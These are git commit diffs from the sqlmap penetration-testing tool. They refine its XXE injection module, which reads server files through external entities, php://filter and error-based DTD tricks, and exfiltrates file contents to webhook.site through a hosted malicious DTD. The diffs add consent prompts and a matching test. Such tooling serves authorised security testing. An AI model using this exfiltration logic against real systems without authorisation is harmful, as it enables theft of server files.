'%s' failed: %s" % (path, getText(ex))) return None diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 0a585c4d7cc..5876a7f06f4 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -11,6 +11,7 @@ from lib.core.common import beep from lib.core.common import dataToOutFile from lib.core.common import randomStr +from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.convert import getBytes from lib.core.convert import getText @@ -21,12 +22,12 @@ from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD from lib.core.settings import ASTERISK_MARKER from lib.core.settings import XXE_BLACKHOLE_HOST from lib.core.settings import XXE_ERROR_SIGNATURES from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES -from lib.core.settings import OOB_EXFIL_DEFAULT_FILE from lib.core.settings import OOB_POLL_ATTEMPTS from lib.core.settings import OOB_POLL_DELAY from lib.core.settings import XXE_LOCAL_DTDS @@ -38,6 +39,14 @@ # so its presence in a response is unambiguously our reflected/expanded value. SENTINEL = randomStr(length=12, lowercase=True) +# When the user marked an explicit injection point in the body (e.g. 'luther*'), +# it is preserved as this placeholder and used as the SOLE injection spot, instead of +# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact. +_MARKER = None + +# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan). +_OOB_CONSENT = None + # First element of the document (skipping the prolog, comments and any # DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. _ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") @@ -52,13 +61,41 @@ def _looksXml(data): return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data +def _toSystemId(path): + """Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId, + consistently across every tier.""" + p = getText(path or "").strip() + if "://" in p: + return p + return "file:///" + p.replace("\\", "/").lstrip("/") + + +def _toResource(path): + """Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped).""" + p = getText(path or "").strip() + if p.startswith("file://"): + p = p[len("file://"):] + p = p.replace("\\", "/") + if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...' + return p.lstrip("/") + return "/" + p.lstrip("/") + + def _cleanBody(): """Return the original request body with sqlmap's injection marks removed. Order matters: drop the injected custom marks first (any literal '*' from the original body was already escaped to ASTERISK_MARKER by target processing), then restore those escaped asterisks.""" + global _MARKER + _MARKER = None data = getText(conf.data or "") - data = data.replace(kb.customInjectionMark or "\x00", "") + mark = kb.customInjectionMark or "\x00" + if kb.get("processUserMarks") and mark in data: + # user chose the injection point explicitly - honour it as the SOLE spot + _MARKER = "xxemark%s" % randomStr(10, lowercase=True) + data = data.replace(mark, _MARKER, 1).replace(mark, "") + else: + data = data.replace(mark, "") data = data.replace(ASTERISK_MARKER, "*") return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct @@ -86,6 +123,9 @@ def _send(body): if conf.delay: time.sleep(conf.delay) + if _MARKER and not isinstance(body, bytes) and _MARKER in body: + body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending + try: if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body)) @@ -132,6 +172,9 @@ def _placeRef(xml, snippet, attrs=False): for the external/XInclude tiers or the document becomes ill-formed). Falls back to injecting just before the root's closing tag when there is no text node at all.""" + if _MARKER and _MARKER in xml: + return xml.replace(_MARKER, snippet) # honour the user's explicit injection point + start = re.search(r"\]>", xml).end() if "]>" in xml else 0 head, tail = xml[:start], xml[start:] tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail) @@ -169,19 +212,25 @@ def _fingerprint(page): def _echoed(page): - """True when the response mirrors our raw markup back. Essential guard for the - sentinel-in-path oracles: a debug/echo endpoint that never parses XML would - otherwise reflect the sentinel (it is inside the body we sent) and look like a - genuine parser error. A real error surfaces only the path/message, not the - DOCTYPE/entity declarations.""" - page = getUnicode(page or "") - return "' % (ent, systemId) payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) @@ -274,14 +322,14 @@ def _tryExternalFile(xml, rootName, baseline): def _tryPhpFilter(xml, rootName, baseline): - """PHP-only in-band read that survives newlines/binary: base64 a source file - through php://filter. Confirmed when the reflection decodes to file content.""" + """PHP-only in-band read (base64 via php://filter). Used only as a benign in-band + impact demonstration -> reads /etc/os-release; it deliberately never probes + /etc/passwd here (a specific file is read only on explicit '--file-read').""" from lib.core.convert import decodeBase64 baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or ""))) - for systemId, pattern in (("file:///etc/passwd", r":0:0:"), ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)=")): - resource = systemId[len("file://"):] + for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),): ent = randomStr(length=8, lowercase=True) subset = '' % (ent, resource) payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) @@ -328,22 +376,24 @@ def _tryLocalDtd(xml, rootName): return None, "" -def _tryErrorExfil(xml, rootName): +def _tryErrorExfil(xml, rootName, errorChannel=False): """In-band error-based file EXFILTRATION: coerce the parser into an error whose message embeds the target file's contents (not just a sentinel). Two vehicles: (a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on - the exfil service -> needs egress to fetch it plus verbose errors. php://filter - base64 carries a whole multi-line file intact; raw file:// leaks the first line - on any parser. Returns (content, filename) or (None, None).""" + the exfil service -> needs egress to fetch it plus verbose errors, so it is only + attempted when an error channel was already confirmed (else it is pointless and + just burns third-party requests). php://filter base64 carries a whole multi-line + file intact; raw file:// leaks the first line. Returns (content, filename).""" from lib.core.convert import decodeBase64 - fileName = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE - resource = fileName if fileName.startswith("/") else "/" + fileName + fileName = conf.get("fileRead") + if not fileName: + return None, None marker = randomStr(10, lowercase=True) # (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser) - reads = (("php://filter/convert.base64-encode/resource=%s" % resource, True), - ("file://%s" % resource, False)) + reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True), + (_toSystemId(fileName), False)) def _extract(page, isB64): pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker) @@ -368,8 +418,9 @@ def _extract(page, isB64): if content: return content, fileName - # (b) DTD we host on the exfil service - egress + verbose errors (third party) - if not _oobEnabled(): + # (b) DTD we host on the exfil service - egress + verbose errors (third party): + # skip on a blind target (no error channel) and without explicit OOB consent + if not (errorChannel and _oobConsent()): return None, None from lib.request.webhooksite import WebhookSite wh = WebhookSite() @@ -469,11 +520,26 @@ def _tryTimeBlind(xml, rootName): def _oobEnabled(): - """Out-of-band tiers contact a public third party by default. Honour an explicit - opt-out (`--oob-server none`) for sensitive engagements.""" + """False when the user opted out of OOB entirely (`--oob-server none`).""" return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false") +def _oobConsent(): + """True only when the user has opted into contacting a third-party OOB service: + either explicitly (`--oob-server `) or by answering the one-time prompt, + which defaults to NO - so '--batch' never silently phones a public service.""" + global _OOB_CONSENT + if not _oobEnabled(): + return False + if conf.get("oobServer"): + return True + if _OOB_CONSENT is None: + message = "do you want sqlmap to use a public out-of-band service " + message += "(interactsh/webhook.site) for blind XXE? [y/N] " + _OOB_CONSENT = readInput(message, default='N', boolean=True) + return _OOB_CONSENT + + def _tryOobExfil(xml, rootName): """T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on a public content+logging service (webhook.site), point the target's parser at @@ -486,17 +552,24 @@ def _tryOobExfil(xml, rootName): from lib.core.convert import decodeBase64 from lib.request.webhooksite import WebhookSite + fileName = conf.get("fileRead") + if not fileName: + return None + wh = WebhookSite() exfilToken = wh.newToken() if not exfilToken: logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)") return None - target = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE - exfilUrl = "%s/?x=%%file;" % wh.hostUrl(exfilToken) + marker = randomStr(10, lowercase=True) + # Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a + # space and mangle '/'/'=', corrupting the payload. In the path those bytes survive + # and webhook.site logs the raw request URL, which we regex back out. + exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker) dtd = ('\n' '">\n' - '%%eval;\n%%exfil;') % (target, exfilUrl) + '%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl) dtdToken = wh.newToken(dtd) if not dtdToken: return None @@ -506,15 +579,16 @@ def _tryOobExfil(xml, rootName): _send(payload) content, detected = None, False + pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker)) for _ in range(OOB_POLL_ATTEMPTS): time.sleep(OOB_POLL_DELAY) for record in wh.captured(exfilToken): - leaked = (record.get("query") or {}).get("x") - if leaked: + match = pattern.search(getText(record.get("url") or "")) + if match: try: - content = getText(decodeBase64(leaked)) + content = getText(decodeBase64(match.group(1))) except Exception: - content = getText(leaked) + content = match.group(1) break if content: break @@ -523,7 +597,7 @@ def _tryOobExfil(xml, rootName): if not detected: detected = bool(wh.captured(dtdToken)) - return {"payload": payload, "filename": target, "content": content, "detected": detected} + return {"payload": payload, "filename": fileName, "content": content, "detected": detected} def _tryOob(xml, rootName): @@ -560,8 +634,9 @@ def _tryOob(xml, rootName): def xxeScan(): - global SENTINEL + global SENTINEL, _OOB_CONSENT SENTINEL = randomStr(length=12, lowercase=True) + _OOB_CONSENT = None debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " @@ -583,29 +658,30 @@ def xxeScan(): baseline = _send(xml) found = False - # T2: in-band reflected (internal entity expansion) - the strongest oracle + # T2: in-band reflected DTD/internal-entity expansion. This proves the parser + # processes entities; it is NOT yet external-entity file-read impact - so the + # finding is worded conservatively and escalated only if an actual read follows. payload, page = _tryInternal(xml, rootName, baseline) if payload: found = True - logger.info("the XML body is vulnerable to XXE injection (in-band, entity expansion enabled)") - _report("In-band (reflected internal entity)", payload) + logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") + _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): content = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: - logger.info("in-band file read of '%s' succeeded" % conf.fileRead) + logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) _dumpFileRead(conf.fileRead, content) - - systemId, snippet = _tryExternalFile(xml, rootName, baseline) - if systemId: - logger.info("file-read impact confirmed via external entity ('%s'): '%s'" % (systemId, snippet)) - _report("Out-of-band file read (external entity '%s')" % systemId, " -> %s" % (systemId, snippet)) else: - phpPayload = _tryPhpFilter(xml, rootName, baseline) - if phpPayload: - logger.info("file-read impact confirmed via php://filter (base64 source disclosure)") - _report("File read via php://filter (base64)", phpPayload) + # benign, in-band impact demonstration (data stays in the response, no third party) + systemId, snippet = _tryExternalFile(xml, rootName, baseline) + if not systemId: + snippet = _tryPhpFilter(xml, rootName, baseline) + systemId = "php://filter" if snippet else None + if systemId: + logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) + _report("In-band file-read impact (external entity '%s')" % systemId, "") # T3: error-based (works where entities are not reflected but errors leak) errorChannel = False @@ -626,13 +702,14 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)") _report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload) - # T3c: error-based FILE EXFILTRATION - upgrade a confirmed error channel to an - # in-band file read (or attempt it directly when the user asked via --file-read) - if errorChannel or conf.get("fileRead"): - content, fileName = _tryErrorExfil(xml, rootName) + # T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request. + # The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs + # both a confirmed error channel (pointless on a blind target) and OOB consent. + if conf.get("fileRead"): + content, fileName = _tryErrorExfil(xml, rootName, errorChannel) if content: found = True - logger.info("the XML body is vulnerable to XXE injection (error-based in-band file read of '%s')" % fileName) + logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName) _report("Error-based in-band file read ('%s')" % fileName, "" % fileName) _dumpFileRead(fileName, content) @@ -661,27 +738,28 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") _report("Time-based blind (external entity to non-routable host)", payload) - # T7: out-of-band exfiltration via a hosted malicious DTD (also confirms blind XXE) - if not found and _oobEnabled(): - exfil = _tryOobExfil(xml, rootName) - if exfil and (exfil["content"] or exfil["detected"]): - found = True - if exfil["content"]: - logger.info("the XML body is vulnerable to blind XXE injection (out-of-band file read of '%s')" % exfil["filename"]) - _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) - _dumpFileRead(exfil["filename"], exfil["content"]) - else: - logger.info("the XML body is vulnerable to blind XXE injection (out-of-band, target fetched the hosted DTD)") - _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) - - # T8: out-of-band blind confirmation via an interaction server (DNS+HTTP callback) - if not found and _oobEnabled(): - result = _tryOob(xml, rootName) - if result: - payload, protocol = result - found = True - logger.info("the XML body is vulnerable to XXE injection (out-of-band, confirmed via %s interaction with the collector)" % protocol) - _report("Out-of-band blind (collector callback: %s)" % protocol, payload) + # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). + # Low-impact callback confirmation is the default; actual file exfiltration is + # attempted only when the user explicitly asked for a file via '--file-read'. + if not found and _oobConsent(): + if conf.get("fileRead"): + exfil = _tryOobExfil(xml, rootName) + if exfil and (exfil["content"] or exfil["detected"]): + found = True + if exfil["content"]: + logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"]) + _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) + _dumpFileRead(exfil["filename"], exfil["content"]) + else: + logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)") + _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) + else: + result = _tryOob(xml, rootName) + if result: + payload, protocol = result + found = True + logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol) + _report("Out-of-band blind (collector callback: %s)" % protocol, payload) if not found: # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser diff --git a/tests/test_xxe.py b/tests/test_xxe.py index 0c29c058513..8c46873c876 100644 --- a/tests/test_xxe.py +++ b/tests/test_xxe.py @@ -77,6 +77,17 @@ def test_subsetless_doctype_extended(self): self.assertIn(self.SUBSET, out) self.assertIn("[", out) + def test_existing_internal_subset_with_gt_in_entity_value(self): + # a '>' inside a quoted entity value must not fool the internal-subset splice + out = xxe._buildDoctype('y">]>z', "r", self.SUBSET) + self.assertEqual(out.count("z', "r", self.SUBSET) + self.assertEqual(out.count("xxemarkzzzzother
", "&e;") + self.assertIn("&e;", out) + self.assertIn("other", out) # other node left intact + self.assertNotIn("xxemarkzzzz", out) + + def test_clean_body_sets_marker_on_user_marks(self): + conf.data = "luther%s" % (kb.customInjectionMark or "*") + kb.processUserMarks = True + try: + cleaned = xxe._cleanBody() + self.assertIsNotNone(xxe._MARKER) + self.assertIn(xxe._MARKER, cleaned) + finally: + kb.processUserMarks = False + xxe._MARKER = None + + +class TestReportMethod(unittest.TestCase): + def test_report_uses_conf_method(self): + captured = [] + + class _Dumper(object): + def singleString(self, data, content_type=None): + captured.append(data) + + old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep") + conf.dumper, conf.method, conf.beep = _Dumper(), "PUT", False + try: + xxe._report("Title", "Payload") + finally: + conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep + self.assertIn("PUT XML body", captured[0]) + + +class TestOobBase64Capture(unittest.TestCase): + def test_path_capture_survives_plus_slash_equals(self): + import base64 + from lib.core.convert import getText, decodeBase64 + marker = "mk12345678" + raw = b">>>\xff\xfe some + / = data ==" + blob = getText(base64.b64encode(raw)) + self.assertTrue(any(c in blob for c in "+/=")) # ensure the risky chars are present + url = "http://webhook.site/tok/%s/%s" % (marker, blob) # base64 in the PATH + m = re.search(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker), url) + self.assertIsNotNone(m) + self.assertEqual(m.group(1), blob) + self.assertEqual(decodeBase64(m.group(1)), raw) + + class TestDetectionMocked(unittest.TestCase): def setUp(self): self._send = xxe._send From 103a0e6b0fd5ef65b7b4d72985a27d6a46e86e43 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 11:12:21 +0200 Subject: [PATCH 683/853] More refactoring for --xxe --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/techniques/xxe/inject.py | 45 +++++++++++++++++++++++++----------- 3 files changed, 34 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e1c20292623..b5e04442b76 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py +d9b2dc6104456fa679f827d16baeb1ed7ca377a961d163d12cd2b7eba09f24c6 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py +e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 86505b7b14e..0f81eefb9ff 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.25" +VERSION = "1.10.7.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 5876a7f06f4..f6d7432cb92 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -656,20 +656,23 @@ def xxeScan(): logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName) baseline = _send(xml) - found = False + found = False # an actual impact/oracle (file read, error-based, XInclude, blind) + expansionSeen = False # reflected DTD/internal-entity processing (weaker; must not stop the search) # T2: in-band reflected DTD/internal-entity expansion. This proves the parser - # processes entities; it is NOT yet external-entity file-read impact - so the - # finding is worded conservatively and escalated only if an actual read follows. + # processes entities but is NOT yet file-read impact, so it deliberately does NOT + # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still + # run to try to upgrade a mere "expansion confirmed" into actual file-read impact. payload, page = _tryInternal(xml, rootName, baseline) if payload: - found = True + expansionSeen = True logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): content = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: + found = True logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) _dumpFileRead(conf.fileRead, content) @@ -680,12 +683,15 @@ def xxeScan(): snippet = _tryPhpFilter(xml, rootName, baseline) systemId = "php://filter" if snippet else None if systemId: + found = True logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) _report("In-band file-read impact (external entity '%s')" % systemId, "") - # T3: error-based (works where entities are not reflected but errors leak) + # T3: error-based (works where entities are not reflected but errors leak). A + # redundant detection channel once in-band reflection was already seen, so it is + # skipped then - the file-read *impact* tiers below still run to try to upgrade. errorChannel = False - if not found: + if not found and not expansionSeen: payload, page = _tryError(xml, rootName) if payload: found = errorChannel = True @@ -693,8 +699,8 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend) _report("Error-based (parameter entity, back-end: '%s')" % backend, payload) - # T3b: no-egress error-based via local-DTD repurposing - if not found: + # T3b: no-egress error-based via local-DTD repurposing (detection; skip once reflected) + if not found and not expansionSeen: payload, page = _tryLocalDtd(xml, rootName) if payload: found = errorChannel = True @@ -721,16 +727,20 @@ def xxeScan(): logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) _report("XInclude file read ('%s')" % systemId, payload) - # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM) - if not found: + # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16 + # variant re-detects internal-entity reflection, so it is redundant (and mislabels + # as 'evasion') once reflection was already seen - skip it then. + if not found and not expansionSeen: title, payload = _tryEvasions(xml, rootName, baseline) if title: found = True logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower()) _report(title, payload) - # T6: time-based blind (no collector, no third party) - external entity to a non-routable host - if not found: + # T6: time-based blind (no collector, no third party) - external entity to a non-routable host. + # Skipped once in-band reflection worked: the target is demonstrably not blind, so the (slow) + # blind tiers add nothing and would needlessly stall. + if not found and not expansionSeen: logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow") payload = _tryTimeBlind(xml, rootName) if payload: @@ -738,10 +748,11 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") _report("Time-based blind (external entity to non-routable host)", payload) - # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). + # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). Also blind-only + # (skipped when in-band reflection already worked, so a non-blind target never triggers the prompt). # Low-impact callback confirmation is the default; actual file exfiltration is # attempted only when the user explicitly asked for a file via '--file-read'. - if not found and _oobConsent(): + if not found and not expansionSeen and _oobConsent(): if conf.get("fileRead"): exfil = _tryOobExfil(xml, rootName) if exfil and (exfil["content"] or exfil["detected"]): @@ -762,6 +773,12 @@ def xxeScan(): _report("Out-of-band blind (collector callback: %s)" % protocol, payload) if not found: + if expansionSeen: + # in-band entity processing is real, but no external-entity/blind oracle was reachable + # (typically external entities disabled) - report honestly rather than overstate impact + logger.info("DTD/internal entity processing is enabled, but no external-entity file-read or blind XXE oracle was established") + logger.info("XXE scan complete") + return # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser # from a merely non-reflecting one so the user knows why it did not fire. probe = _send(_buildDoctype(xml, rootName, '%%p;' % SENTINEL)) From 7fd6bb3b7d8a9056f8a2db9d132d7ef3d7dd4049 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 12:38:59 +0200 Subject: [PATCH 684/853] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/request/dns.py | 34 +++++++++++++++++++++------------- tests/test_dns_server.py | 1 + 4 files changed, 26 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b5e04442b76..a2ee55d01d1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d9b2dc6104456fa679f827d16baeb1ed7ca377a961d163d12cd2b7eba09f24c6 lib/core/settings.py +415708a1c10d98f964bc34ddd8dd597ec0ebb216a6e3f3aad391d9283d499f89 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dns.py +c968a04d3de9256d56c423d46556441223607e4573627f2af4e772e084aef5fc lib/request/dns.py 7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py @@ -613,7 +613,7 @@ fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dia 41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py -a9db98cbb4d16c42118fb6f612edd5bfedc77298e38d06d50e7ecc2faaa7fdc1 tests/test_dns_server.py +6047483d7fb41e0dbf4b067394d8a9e2b39b99faf473db963de6f2f67c052b03 tests/test_dns_server.py 3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py 118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0f81eefb9ff..33ef2afb92b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.26" +VERSION = "1.10.7.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index 5b70825088d..f97d7cf60ce 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -235,6 +235,9 @@ class InteractshDNSServer(object): is a drop-in for conf.dnsServer. """ + _POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds; + _POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent + def __init__(self, server=None): from lib.request.interactsh import Interactsh, hasCrypto @@ -259,25 +262,30 @@ def pop(self, prefix=None, suffix=None): """ Returns a captured DNS lookup name matching the given prefix/suffix (prefix..suffix.), mirroring DNSServer.pop(). + + Unlike the synchronous local DNSServer (which reads a query captured during the + very request), interactsh is remote and eventually-consistent: a just-triggered + lookup takes a moment to reach the collector and surface via its poll API. So we + poll a few times before giving up, instead of reading once. """ - retVal = None + for attempt in range(self._POLL_TRIES): + for name in self._client.dnsNames(): + if name in self._seen: + continue - for name in self._client.dnsNames(): - if name in self._seen: - continue + if prefix is None and suffix is None: + self._seen.add(name) + return name - if prefix is 